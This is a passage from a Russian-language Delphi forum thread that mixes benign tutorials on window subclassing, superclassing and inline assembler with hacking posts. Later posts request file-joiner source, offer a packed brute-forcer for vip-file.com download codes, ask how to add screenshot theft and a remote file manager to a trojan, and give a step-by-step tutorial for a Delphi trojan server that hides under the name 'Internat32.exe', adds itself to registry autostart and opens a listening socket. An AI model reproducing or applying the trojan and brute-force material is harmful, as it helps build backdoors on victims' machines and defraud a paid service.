          случае вставка текста всё равно произойдёт }
        Exit;
      End;
  End;
  { Не забывайте вызывать унаследованную оконную процедуру }
  Inherited WndProc(Msg);
End;


Procedure TMainForm.FormDestroy(Sender: TObject);
Begin
  Edit.Free;
End;

End.

Этот способ по функциональности ничем не отличается от первого (только озвучкой и реализацией через CASE).

Вот и всё! Думаю, что Вы разобрались в примерах и мы можем переходить к сабклассингу средствами Windows API. Ту часть кода примеров, которые не относятся к теме статьи, я снабдил краткими комментариями.

Сабклассинг окон с помощью Windows API

В следующем примере будет показано, как усовершенствовать кнопку (Button) и поле ввода (Edit). Вот список усовершенствований:

1. Для кнопки: создать такую кнопку, которая при нажатии левой кнопки мыши отображала бы текущую дату;
2. Для поля ввода: запретить контекстное меню; установить шрифт для текста синего цвета

Разберем, как это выглядит в теории. Для создания кнопки, отображающей дату, мы должны получить текущую дату функцией GetLocalTime. В переданной функции структуре будет находиться текущая дата. Нас интересует только текущие час, минута и секунда. Мы преобразуем полученные значения в строковый формат и дополняем нулями слева, если это необходимо. После этого отображаем дату на кнопке, по срабатыванию таймера.

Что касается поля ввода, то для запрета контекстного меню необходимо проигнорировать сообщение WM_CONTEXTMENU, после чего осуществить выход из оконной процедуры. Для изменения цвета текста необходимо использовать функция SetTextColor для контекста Edit'а. Этот контекст можно получить, обрабатывая сообщение WM_CTLCOLOREDIT (обратите внимание, что это сообщение посылается родительскому окну поля ввода). Данное сообщение посылается при каждой отрисовке Edit'а, передавая в параметре WParam контекст для рисования. Не следует забывать включить прозрачность фона функцией SetBkMode (хотя для нашего примера эта функция ничего не изменяет, попробуйте использовать другие цвета, чтобы убедиться в её надобности).

Добавлено в [time]1212919725[/time]
код Pascal/Delphi

Code:Copy to clipboard

  Program SampleProject03;

{$R *.res}
{$R WinXP.res} 

Uses
  Windows,
  Messages,
  SysUtils;

Procedure InitCommonControls; Stdcall; External 'comctl32.dll';  

Const
  { Идентификатор таймера }
  BtnTimer = 450;
  { Константы с заголовками дочерних окон }
  StaticInfoText = 'Метка без сабклассирования';
  BtnText = 'Кнопка для сабклассирования';

Var
  { Главное окно }
  HWnd: THandle;
  { Три дочерних компонента для сабклассирования }
  Btn, Edit, InfoStatic: THandle;  

{ Устанавливает для окна AWindow шрифт для контролов по умолчанию }
Procedure SetDefFont(AWindow: THandle);
Begin
  SendMessage(AWindow, WM_SETFONT, GetStockObject(DEFAULT_GUI_FONT), 1);
End;

{ Косвенно-вызваемая процедура сообщений таймера }
{ Эта процедура выполняется при каждом срабатывании таймера }
Procedure BtnTimerProc(HWnd: THandle; Msg: Cardinal;
  IDEvent, DWTime: Cardinal); Stdcall;
Var
  { Переменная, куда будет помещено текущее время }
  Time: TSystemTime;
  { Для анализа времени }
  Hour, Minute, Second: String;
Begin
  { Получаем время }
  GetLocalTime(Time);
  { Инициализируем переменные }
  Hour := IntToStr(Time.wHour);
  Minute := IntToStr(Time.wMinute);
  Second := IntToStr(Time.wSecond);
  { Добавляем нули при необходимости }
  If Length(Hour) = 1 Then Hour := '0' + Hour;
  If Length(Minute) = 1 Then Minute := '0' + Minute;
  If Length(Second) = 1 Then Second := '0' + Second;
  { Отображаем дату }
  SetWindowText(HWnd, PChar(Hour + ':' + Minute + ':' + Second));
End;

{ Модифицированная оконная процедура поля ввода }
Function EditWinProc(HWnd: THandle; Msg: Cardinal;
  WParam, LParam: Integer): Cardinal; Stdcall;
Begin  
  Case Msg Of
    { Запрещаем показ контекстного меню }
    WM_CONTEXTMENU:
      Begin
        Result := 0;
        MessageBeep(0);
        Exit;
      End;
  End;
 { Не забываем вызвать оригинальную оконную процедуру }
  Result := CallWindowProc(Pointer(GetWindowLong(HWnd, GWL_USERDATA)),
    Hwnd, Msg, WParam, LParam);
End;

{ Модифицированная оконная процедура кнопки }
Function BtnWinProc(HWnd: THandle; Msg: Cardinal;
  WParam, LParam: Integer): Cardinal; Stdcall;
Begin
  Case Msg Of
    { При нажатии мыши запускаем таймер, интервал - 10 миллисекунд }
    WM_LBUTTONDOWN: SetTimer(HWnd, BtnTimer, 10, @BtnTimerProc);

    { При отпускании мыши уничтожаем таймер }
    WM_LBUTTONUP:
      Begin
        KillTimer(HWnd, BtnTimer);
        { Восстанавливаем прежний текст }
        SetWindowText(HWnd, BtnText); 
      End;  
  End;
  { Не забываем вызвать оригинальную оконную процедуру }
  Result := CallWindowProc(Pointer(GetWindowLong(HWnd, GWL_USERDATA)),
    HWnd, Msg, WParam, LParam);
End;

{ Оконная процедура главного окна }
Function MainWinProc(HWnd: THandle; Msg: Cardinal;
  WParam, LParam: Integer): Cardinal; Stdcall;

  { Конвертирует сроку PChar в String }
  Function StrPas(Const AStr: PChar): String;
  Begin
    Result := AStr;
  End; 

Begin  
  Case Msg Of

    { Здесь будет произведено создание дочерних окон }
    WM_CREATE:
      Begin
        InfoStatic := CreateWindowEx(0, 'Static', StaticInfoText,
          WS_CHILD Or WS_VISIBLE Or SS_LEFT,
            8, 8, 270, 16, HWnd, 0, HInstance, NIL);
        SetDefFont(InfoStatic);
        
        Edit := CreateWindowEx(WS_EX_CLIENTEDGE, 'Edit', NIL,
          WS_CHILD Or WS_VISIBLE Or ES_LEFT,
          8, 28, 300, 21, HWnd, 0, HInstance, NIL);
        SetDefFont(Edit);
        { Выделяем весь текст }
        SendMessage(Edit, EM_SETSEL, 0, -1);
        { Далее делаем сабклассинг поля ввода }
        SetWindowLong(Edit, GWL_USERDATA,
          SetWindowLong(Edit, GWL_WNDPROC, LongInt(@EditWinProc)));

        Btn := CreateWindowEx(0, 'Button', BtnText, WS_CHILD Or WS_VISIBLE
           Or BS_PUSHBUTTON, 8, 52, 300, 25, HWnd, 0,
             HInstance, NIL);
        SetDefFont(Btn); 
        { Далее делаем сабклассинг кнопки }
        SetWindowLong(Btn, GWL_USERDATA,
          SetWindowLong(Btn, GWL_WNDPROC, LongInt(@BtnWinProc)));
      End;

    WM_KEYDOWN:
      { Закрытие окна по нажатию Enter'а }
      If WParam = VK_RETURN Then PostQuitMessage(0);

    {Данное сообщение посылается при отрисовке Edit'a;
     вы можете использовать переданный контекст для рисования
     фона, либо для смены цвета текста; после завершения рисования
     верните модифицированный контекст как результат сообщения и не
     забудьте сделать выход из оконной процедуры, так как в противном
     случае DefWindowProc снова разукрасит Edit в стандартный системный цвет }
    WM_CTLCOLOREDIT:
      Begin 
        { Устанавливаем прозрачность фона }
        SetBkMode(WParam, TRANSPARENT);
        { Устанавливаем цвет шрифта }
        SetTextColor(WParam, $FF0000);
        { Возвращаем нужный нам контекст }
        Result := WParam;
        Exit;
      End;

    WM_DESTROY:
      Begin
        { Выход для освобождения памяти }
        PostQuitMessage(0);
      End;
  End;
  { Обработка всех остальных сообщений по умолчанию }
  Result := DefWindowProc(HWnd, Msg, WParam, LParam);
End;

Procedure WinMain;
Var
  Msg: TMsg;
  { Оконный класс }
  WndClassEx: TWndClassEx;
Begin
  { Подготовка структуры класса окна }
  ZeroMemory(@WndClassEx, SizeOf(WndClassEx));

  {************* Заполнение структуры нужными значениями ******************* }

  { Размер структуры }
  WndClassEx.cbSize := SizeOf(TWndClassEx);
  { Имя класса окна }
  WndClassEx.lpszClassName := 'SubclassSampleWnd';
  { Стиль класса, не окна }
  WndClassEx.style := CS_VREDRAW Or CS_HREDRAW;
  { Дескриптор программы (для доступа к сегменту данных) }
  WndClassEx.hInstance := HInstance;
  { Адрес оконной процедуры }
  WndClassEx.lpfnWndProc := @MainWinProc;
  { Иконки }
  WndClassEx.hIcon :=  LoadIcon(HInstance, MakeIntResource('MAINICON'));
  WndClassEx.hIconSm := LoadIcon(HInstance, MakeIntResource('MAINICON'));
  { Курсор }
  WndClassEx.hCursor := LoadCursor(0, IDC_ARROW);
  { Кисть для заполнения фона }
  WndClassEx.hbrBackground := COLOR_BTNFACE + 1;
  { Меню }
  WndClassEx.lpszMenuName := NIL;

  { Регистрация оконного класса в Windows }
  If RegisterClassEx(WndClassEx) = 0 Then
    MessageBox(0, 'Невозможно зарегистрировать класс окна',
      'Ошибка', MB_OK Or MB_ICONHAND)
  Else
  Begin
    { Создание окна по зарегистрированному классу }
    HWnd := CreateWindowEx(0, WndClassEx.lpszClassName,
        'Subclassing Sample by Rrader', WS_OVERLAPPEDWINDOW And Not WS_BORDER
         And Not WS_MAXIMIZEBOX And Not WS_SIZEBOX,
         Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), 320, 116, 0, 0,
         HInstance, NIL);

    If HWnd = 0 Then 
      MessageBox (0, 'Окно не создалось!',
        'Ошибка', MB_OK Or MB_ICONHAND)
    Else
    Begin
      { Показ окна }
      ShowWindow(HWnd, SW_SHOWNORMAL);
      { Обновление окна }
      UpdateWindow(HWnd); 

      { Цикл обработки сообщений }
      While GetMessage(Msg, 0, 0, 0) Do
      Begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      End;
      { Выход по прерыванию цикла }
      Halt(Msg.WParam);
    End;
  End;
End;

Begin
  InitCommonControls;
  { Создание окна } 
  WinMain;
End.

Все примеры очень простые, они должны дать Вам базовое представление о сабклассинге.

Теперь можно переходить к суперклассингу.

Суперклассинг

Сабклассинг особенно удобен, когда дело касается изменения одного окна, класс которого не совпадает с другими окнами, подлежащими сабклассированию. А что, если нам нужно засабклассировать сотню Edit'ов? Сабклассинг здесь будет громоздким. Решением этой проблемы является суперклассинг.

Суперклассинг (superclassing) - создание и регистрация нового класса окна в системе. После чего этот класс окна готов к использованию.

VCL -суперклассинг мы рассматривать не будем. Думаю, Вам понятно, что реализация суперклассинга на VCL - это создание компонентов. При создании оконного компонента в Delphi вы неявно создаёте подобие суперкласса. После этого вы можете использовать хоть сотню таких компонентов (например, создать из них массив). Заметьте, что такой компонент будет, как правило не стандартным, например, кнопка TBitBtn. Чтобы Вам было понятней, почему это суперкласс, можете посмотреть имя класса окна компонента через любой сканер окон (я использовал InqSoft Window Scanner) - это имя будет совпадать с тем именем, которое обозначает имя компонента в Delphi (например, TBitBtn или TLabeledEdit). Из этого мы можем сделать вывод, что суперклассинг прекрасно прижился в Delphi и широко там используется.

У каждого потомка класса TWinControl в Delphi есть метод CreateParams. Можете воспользоваться им, чтобы изменить название класса окна.

Гораздо более интересен суперклассинг на WinAPI. Необходимо уметь его использовать.

Рассмотрим, как по шагам создать суперкласс.
Вызываем функцию GetClassInfoEx, чтобы получить информацию о классе окна, который мы будем далее модернизировать. Эта функция заполнит переданную ей запись TWndClassEx параметрами класса;
Изменяем всё, что нам нужно в полученной записи. Нужно задать свое имя класса, размер структуры, а также дескриптор HInstance, также нас будет интересовать оконная процедура - мы также изменим её у класса;
Регистрируем новый класс при помощи функции RegisterClassEx;
По окончании работы программы освобождаем класс функцией UnregisterClass.
Далее новый класс можно использовать. В примерах я буду делать простые изменения в классах окон.

Давайте рассмотрим функции для суперклассинга более подробно.

Суперклассинг начинается с функции GetClassInfoEx.

Объявление функции:
код Pascal/Delphi

Code:Copy to clipboard

  Function GetClassInfoEx(Instance: Cardinal; Classname: PChar; 
  Var WndClass: TWndClassEx): LongBool; Stdcall;

Первый параметр функции - дескриптор приложения, которое создало класс. Если же Вы желаете модифицировать предопределённые класс окон Windows (например, классы 'Button', 'Edit', 'ListBox' и т. п.), то передайте нуль в параметре.

Следующий параметр - собственно название интересующего Вас класса. Сюда можно передать атом (см. ниже)

В последнем параметре передается структура типа TWndClassEx, в которую в случае успешного вызова функции будет помещена информация о классе.

Когда информация о классе получена, можно изменить его (что обязательно к этому, сказано выше).

После подготовки класса окна Вы регистрируете его в Windows с помощью функции RegisterClassEx.
код Pascal/Delphi

Code:Copy to clipboard

  Function RegisterClassEx(Const WndClass: TWndClassEx): Word; Stdcall;

Функция возвращает атом, который по сути есть числовое уникальное значение. Это будет идентификатор класса окна в системе.

По завершению работы приложения желательно уничтожить класс. В противном случае - "утечка памяти".
Для этого существует функция UnregisterClass:
код Pascal/Delphi

Code:Copy to clipboard

  Function UnregisterClass(lpClassName: PChar; hInstance: Cardinal): LongBool; Stdcall;

Эта функция уничтожает класс окна из Windows, освобождая память, ранее под него выделенную.

Первый параметр функции - имя класса для деинсталляции. Обратите внимание, что эта функция сможет уничтожить только класс, который был зарегистрирован приложением, чей дескриптор передан во втором параметре. Глобальные предопределённые классы (см. выше) Windows (например, класс Edit) не могут быть уничтожены. В первом параметре также разрешается передавать атом- идентификатор класса.

Для полного ознакомления с суперклассингом следует обобщить знания о самом классе окна.

Класс окна
Вообще, класс окна - объемная тема. Мы рассмотрим её самые главные особенности.

Класс окна (window class) - набор свойств, который используются как шаблон для создания окон. Класс окна всегда можно расширить, изменить. Давайте подробнее разберем атрибуты класса.

Первый атрибут - имя класса. Оно позволяет отличать одни классы от других. Классы с одинаковыми именами считаются идентичными. После создания окна по классу это окно может подвергнуться сабклассингу. Сабклассинг не изменяет класс окна. Не делайте имена классов длиннее 64 символов.

Второй атрибут - это адрес оконной процедуры для окна. Об оконной процедуре подробно рассказано выше.

Третий атрибут - дескриптор приложения (или DLL), которое зарегистрировало класс.

Четвёртый - курсор окна при создании.

Пятый - дескриптор большой иконки для окна.

Шестой - тоже дескриптор иконки, но маленькой. Этого атрибута нет у структуры типа TWndClass (поняли, в чем отличие TWndClass от TWndClassEx?).

Седьмой - дескриптор кисти, которой будет зарисована клиентская область окна.

Восьмой - дескриптор меню, которое присваивается окну при создании.

Девятый - стили класса (см. ниже)

Десятый - дополнительная память, выделяемая классу (тип Integer).

Одиннадцатый - дополнительная память (Integer), выделяемая под каждое окно класса.

Напоследок рассмотрим стили класса. Стили класса - это комбинация значений, которые определяют поведение класса.
Вот они:

CS_BYTEALIGNCLIENT - выстраивает клиентскую часть окна на границу байта, что позволяет достичь большей производительности при отрисовке;

CS_BYTEALIGNWINDOW - то же, что и CS_BYTEALIGNCLIENT, только увеличивает производительность при перемещении окна;

CS_CLASSDC - создает контекст устройства, который разделяется между всеми наследниками этого класса - общий контекст для рисования;

CS_DBLCLKS - разрешает обработку сообщений при двойном щелчке мыши;

CS_GLOBALCLASS - разрешает создание окон с независимыми идентификаторами (HInstance) приложений. Создаётся глобальный класс. Если этот флаг не указан, то значение HInstance при создании окна должно быть таким же как и при регистрации класса RegisterClass(Ex).

CS_HREDRAW - перерисовывает окно при его перемещении по горизонтали (и при изменении горизонтальных размеров);

CS_VREDRAW - перерисовывает окно при его перемещении по вертикали (и при изменении вертикальных размеров);

CS_NOCLOSE - убирает команду "Закрыть" из системного меню окна;

CS_OWNDC - создает уникальный контекст устройства для каждого вновь создаваемого окна.

На суперклассинг я публикую один пример, в котором на главном окне будет создано 10 "измененных" Edit'ов. Каждый такой Edit при клике на нём мышки уничтожит себя сам.
код Pascal/Delphi

Code:Copy to clipboard

  Program SampleProject04;

{$R *.res}
{$R WinXP.res} 

Uses
  Windows, Messages;

Procedure InitCommonControls; Stdcall; External 'comctl32.dll';  

Var
  { Главное окно }
  HWnd: THandle;
  { Массив Edit'ов }
  Edits: Array[0..9] Of THandle;
  { Сюда будет помещено значение оригинальной оконной процедуры класса Edit }
  OldProc: Pointer;

{ Устанавливает для окна AWindow шрифт для контролов по умолчанию }
Procedure SetDefFont(AWindow: THandle);
Begin
  SendMessage(AWindow, WM_SETFONT, GetStockObject(DEFAULT_GUI_FONT), 1);
End;

{ Модифицированная оконная процедура каждого поля ввода }
Function EditWinProc(HWnd: THandle; Msg: Cardinal;
  WParam, LParam: Integer): Cardinal; Stdcall;
Begin
  Case Msg Of
    {Уничтожение Edit'а }
    WM_LBUTTONDOWN: DestroyWindow(HWnd);
  End;
  { Вызов оригинальной оконной процедуры }
  Result := CallWindowProc(OldProc,
    HWnd, Msg, WParam, LParam);
End;

{ Оконная процедура главного окна }
Function MainWinProc(HWnd: THandle; Msg: Cardinal;
  WParam, LParam: Integer): Cardinal; Stdcall;
Var
  TmpEdit: TWndClassEx;
  I: Integer;
Begin
  Case Msg Of 
    { Здесь будет произведено создание дочерних окон }
    WM_CREATE:
      Begin
        { Начало суперклассинга }
        If Not GetClassInfoEx(0, 'Edit', TmpEdit) Then Halt;
        { Запоминаем оконную процедуры для правильной работы окна }
        OldProc := TmpEdit.lpfnWndProc;
        { Модификация класса }
        TmpEdit.cbSize := SizeOf(TWndClassEx);
        TmpEdit.lpfnWndProc := @EditWinProc;
        TmpEdit.lpszClassName := 'Sample04EditWindowClass';
        TmpEdit.hInstance := GetModuleHandle(NIL);
        { Регистрация класса }
        If RegisterClassEx(TmpEdit) = 0 Then Halt;
        { Подготовка массива }
        FillChar(Edits, SizeOf(Edits), 0);
        For I := Low(Edits) To High(Edits) Do
        Begin
          Edits[I] := CreateWindowEx(WS_EX_CLIENTEDGE,
            'Sample04EditWindowClass', 'Sample',
            WS_CHILD Or WS_VISIBLE Or ES_LEFT,
            8, 28, 300, 21, HWnd, 0, HInstance, NIL);
          SetDefFont(Edits[I]);   
        End;
      End;

    WM_KEYDOWN:
      { Закрытие окна по нажатию Enter'а }
      If WParam = VK_RETURN Then PostQuitMessage(0);

    WM_DESTROY:
      Begin
        { Уничтожение классов}
        UnregisterClass('Sample04EditWindowClass', HInstance);
        { Выход для освобождения памяти }
        PostQuitMessage(0);
      End;
  End;
  { Обработка всех остальных сообщений по умолчанию }
  Result := DefWindowProc(HWnd, Msg, WParam, LParam);
End;

Procedure WinMain;
Var
  Msg: TMsg;
  { Оконный класс }
  WndClassEx: TWndClassEx;
Begin
  { Подготовка структуры класса окна }
  ZeroMemory(@WndClassEx, SizeOf(WndClassEx));

  {************* Заполнение структуры нужными значениями ******************* }

  { Размер структуры }
  WndClassEx.cbSize := SizeOf(TWndClassEx);
  { Имя класса окна }
  WndClassEx.lpszClassName := 'SuperclassSampleWnd';
  { Стиль класса, не окна }
  WndClassEx.style := CS_VREDRAW Or CS_HREDRAW;
  { Дескриптор программы (для доступа к сегменту данных) }
  WndClassEx.hInstance := HInstance;
  { Адрес оконной процедуры }
  WndClassEx.lpfnWndProc := @MainWinProc;
  { Иконки }
  WndClassEx.hIcon :=  LoadIcon(HInstance, MakeIntResource('MAINICON'));
  WndClassEx.hIconSm := LoadIcon(HInstance, MakeIntResource('MAINICON'));
  { Курсор }
  WndClassEx.hCursor := LoadCursor(0, IDC_ARROW);
  { Кисть для заполнения фона }
  WndClassEx.hbrBackground := COLOR_BTNFACE + 1;
  { Меню }
  WndClassEx.lpszMenuName := NIL;

  { Регистрация оконного класса в Windows }
  If RegisterClassEx(WndClassEx) = 0 Then
    MessageBox(0, 'Невозможно зарегистрировать класс окна',
      'Ошибка', MB_OK Or MB_ICONHAND)
  Else
  Begin
    { Создание окна по зарегистрированному классу }
    HWnd := CreateWindowEx(0, WndClassEx.lpszClassName,
        'Superclassing Sample by Rrader', WS_OVERLAPPEDWINDOW And Not WS_BORDER
         And Not WS_MAXIMIZEBOX And Not WS_SIZEBOX,
         Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), 320, 116, 0, 0,
         HInstance, NIL);

    If HWnd = 0 Then 
      MessageBox (0, 'Окно не создалось!',
        'Ошибка', MB_OK Or MB_ICONHAND)
    Else
    Begin
      { Показ окна }
      ShowWindow(HWnd, SW_SHOWNORMAL);
      { Обновление окна }
      UpdateWindow(HWnd); 

      { Цикл обработки сообщений }
      While GetMessage(Msg, 0, 0, 0) Do
      Begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      End;
      { Выход по прерыванию цикла }
      Halt(Msg.WParam);
    End;
  End;
End;

Begin
  InitCommonControls;
  { Создание окна } 
  WinMain;
End.

Это было базовое знакомство с сабклассингом и суперклассингом. Надеюсь, материал данной статьи поможет Вам при программировании!
автор Rrader

Народ, дайте пожалуйста исходники какого нибудь полнофункционального джоинера на делфи.
Полнофункцмонального - клеил больше 2 файлов, возможность крепить иконку.
Кому не жалко выложите ссылку на скачивание или Киньте ее в ПМ.
Не посылайте в поисковики - там ничего путного не нашел!!!

Vip-file.com Brutz0r
Небольшая программка, для брута акков на випфайле , сервис стал довольно популярным в последнее время, к томуже держит приличную скорость скачки , но хочет смску за скачку файлегов (естестно платную), что не есть тру
Код на данный момент (по крайней мере попавшиеся мне) представляет собой набор из 9 цифр (типа 959486514 , рабочий кст на момент поста код ).
Сверяется скриптом на серваке випфайла, после чего вам отдаётся прямой линк на файлег.
Итак кому нечем заняться, но оч хочется качать с випфайла может запустить прогу. Она пробивает по диапозону циферки на правильность после чего показывает подошедшие. Ограничение в 1000 потоков. Трафа ест не много, но и подобрать что-то вероятность естестно не большая B)
Вобщем можт кому пригодится**))))**
Скачать можно тут:
_http://www.sendspace.com/file/48pvv4
Пасс: VIPfibz0r.Pir4tt

p/s/ параноекам: паковано

Каждый день множество программистов (кроме опытных) в Delphi, используя код высокого уровня, пишут свои программы. Как правило, пренебрегая таким понятием как Assembler, имеется ввиду в строенный в DELPHI. Конечно, тяжело сказать, что на голом «асе» можно сотворить великолепный шедевр имеется ввиду красота - VCL (Visual Component Library). Особенно относительно начинающих программистов, которые только начинают учить IDE. Но зато можно повысить скорость какого нибудь математического или системного алгоритма.

Сегодня я представляю на ваш суд статью по «асу». Скорее всего, она будет интересна начинающим программерам. Я не мастер, но сеже.

Программирование АССЕМБЛЕРОМ в “Delphi”

Для начала несколько основных команд.
MOV - предназначена для занесения в ячейку памяти значения. Например:

Code:Copy to clipboard

var
  x: integer;
begin
  Mov X, 10 // Занесение в Х значение 10 // X:=10;
  Mov eax, 45 //Занесение в быстрый регистр
  Mov ebx, eax //Присвоения значения одного регистра другому
  Mov x.edx //Занесение в х значения edx

Первый параметр присваивающий объект, второй присеваемое значение.

ADD - Предназначена для прибавления к объекту значения. Значения передаются через запитаю. Например :

Code:Copy to clipboard

add eax,2
add x,76

Первый параметр принимающий объект, второй добавляемое значение.

SUB - Предназначена для вычитания от объекта значения. Значения передаются через запитаю. Например :

Code:Copy to clipboard

sub eax,18
Sub x,6

Первый параметр объект от которого отнимается , второй отнимаемое значение.

IMUL - команда умножения
IDIV - команда деления
CMP - Команда проверки
JNZ,JMP,JA - команды перехода.

Теперь перейдем к практическим примерам:

// 1 Функция сложения.

Code:Copy to clipboard

function plus(x, y: integer): integer;
asm
  mov eax,x
  add eax,y
end;

{
Функция вернет сумму «x» и «y». Сперва заносим «х» (move eax,x) потом
прибавляем к уже имеющемуся «y» (add eax,y).
}

// 2. Функция умножения

Code:Copy to clipboard

function Umnojenie(x, z: integer): integer;
asm
  mov ebx,z
  mov eax,x
  imul ebx
end;

{
Заносим в обратном порядке «x» и «z» Отдаем команду на
умножение первого значения на второе «imul ebx ».
}

// 3. Функция вычитания

Code:Copy to clipboard

function Minus(x, y: integer): integer;
asm
  sub x,y
end;

// Просто отнимаем одно от другого

// 4 Функция деления

Code:Copy to clipboard

function divider(x, y: integer): integer;
asm
  mov ebx,y {1}
  cdq {2}
  idiv ebx {3}
end;

Эта функция отличается от остальных методом применения операторов. Занесение значения. 2. Предварительная обработка. 3. Деление.

Это были простейшие математические операторы, теперь мы рассмотрим более сложные операторы цикла и условие

Цикл на «асе» заключается в том что создается контрольный объект и при достижении определенного условия не происходи перехода к начальной контрольной точке отчета цикла.

Code:Copy to clipboard

procedure asm_cycle;
label
  lb;
var
  d: integer;
begin
  asm
    mov ebx,0
    mov d,0
    lb:
    add d,1
    inc ebx
    cmp ebx,10
    jnz lb
    mov ebx,0
  end;
  Writeln(d);
end;

Метка lb нужна, чтобы назначить контрольную точку начала операторов цикла. Переменная «d:integer» для проверки результатов работы цикла. С зарезервированного слова ASM начинаем анализ. Mov edx,0 «edx» выступает как контрольный регистр в нем фиксируется количество повторений. А с самого начало он указывает с какой величины пойдет отчет Например mov edx,0 = for i := 0 to .. do, mov edx,43 = for i:=43 to ..do Мы установим его в 0 чтобы отчет шел с нуля. Переменную d мы тоже обнулим. Третья строка это метка начала после нее идут операторы цикла. Следующий оператор наш рабочий оператор. У нас он 1 но может быть множество. Inc edx добавляем в регистр 1 шаг пройденного цикла если пропустить то цикл будет идти вечно. cmp ebx,10 Один из основных операторов он проверяет не достиг ли цикл верхний предел. Проверка идет в самом конце. Если вернет FALSE то срабатывает следующий оператор перехода на метку т.е в начало цикла и все повторяется до тех пор пока cmp не вернет TRUE в следствии чего не сработает оператор перехода JNZ. Последними операторами обнуляем счетчик и показываем результат.

Условный оператор IF..THEN..ELSE.

Code:Copy to clipboard

procedure if_sample(x: integer);
var
  res: integer;
label
  exit, lb;
begin
  asm
    cmp x,0
    jnz lb
    mov res,45
    jmp exit
    lb:mov res,0
    exit: mov eax,0
  end;
  Writeln(res);
end;

На PASCAL этот оператор пишется так if x = 0 then x:=45 else x:=0; Сначала идет проверка не равен ли х нулю если не равен то переход на метку ld, На которой оператор обнуления. А если равен, то оператор перехода на ld не срабатывает. Срабатывает mov res,45. После которого состоится переход на метку EXIT. В «асе» желательно прописывать свою метку (у нас EXIT), которая по необходимости выйдет и процедуры.

И последние. Вызов внешней процедуры. Допустим, надо вызвать внешнюю процедуру.

procedure call_s(x, d: integer; bol: boolean);
Для вызова внешних модулей применяется метод CALL.

Code:Copy to clipboard

procedure call_sample;
asm
  mov eax,4
  mov edx,34
  mov cl,0
  call call_s
end;

Сперва передаются параметры последовательно а потом сам вызов.

Автор: Александр Баранецкий

<_< тут начал искать учебник где описываются indy компоненты с примерами
но таких не нашол
подкинте учебник или справку пожалуйста

Есть прога на дельфи, использует компонент TSocket. Мне нужно её положить на сервак, но чтобы она работала, то есть обрабатывала команды и могла отвечать на них.
Что нужно чтобы написать программу ? Что должен поддерживать хостинг ?

HI
Кто хорошо знаком с winsock2? Помогите плз! Как работать через socks в винсоке?

народ такая проблема пишу трой на делфи меня очень интересует как реализовать функцию копирование скриншота рабочего стола и паследуйщей передачи мне на клиент видел пару статей таких в инете но они какието мудрёные и чёто в них нехватает кароче неполные падскажите как реализовать скриншоты рабочего стола с ClientSocket \Server Socket
:help: :help: может кто знает падскажите или дайте сылку на статьи!!!
и ещё меня интерисует реализация файлового менеджера тобиш обзор дисков запись на их файлов скачивание запуск програм :help:

Туд вроде еще небыло:

Программа APIx - Visual WinAPI представляет собой визуальную среду проектирования пользовательского интерфейса программ на "чистом" WinAPI, без использования громоздкой VCL компонентов Delphi, что позволяет существенно сократить размер исполняемого приложения.
APIx 2 не является компилятором и для полноценной работы требует компилятора Delphi (это не является обязателным условием - генерация Исходного Кода WinAPI-приложения происходит непосредственно "своми силами" программы).
Скриншот|Screenshot
Скачать|Download

P.S - Созданная с ее помощью форма в Delphi , весит ~10 кб незапакованная

Простейший троян на перезагрузку
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» - «New Application»). Делаем серверную часть трояна. Сначала выбери пункт меню «Options» из меню «Project». Здесь ты должен перенести «Form1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделал я. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную.
На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.
Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).
Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:
procedure TForm1.FormCreate(Sender: TObject);
i RegIniRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
Теперь перейди в начало текста и напиши после «uses» слово «registry». Это словечко заставит использовать реестр плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages,
Теперь я объясню, что мы написали в процедуре.
«var RegIniRegIniFile»

• здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.
  «RegIni:=TRegIniFile.Create('Software')» - инициализируем переменную указывающую на реестр.
  «RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.
  «RegIni.OpenKey('Software', true)» - открываю подраздел «Software».
  Дальше я последовательно открываю подразделы, пробираясь в недра окошек.
  «RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)” - записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).
  «RegIni.Free» - уничтожаю ненужный больше объект RegIni.
  Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.
  Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.
  С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
  procedure TForm1.FormDistroy(Sender: TObject; i Action: TCloseAction);
  begin
  ServerSocket1.Active:=false;
  end;
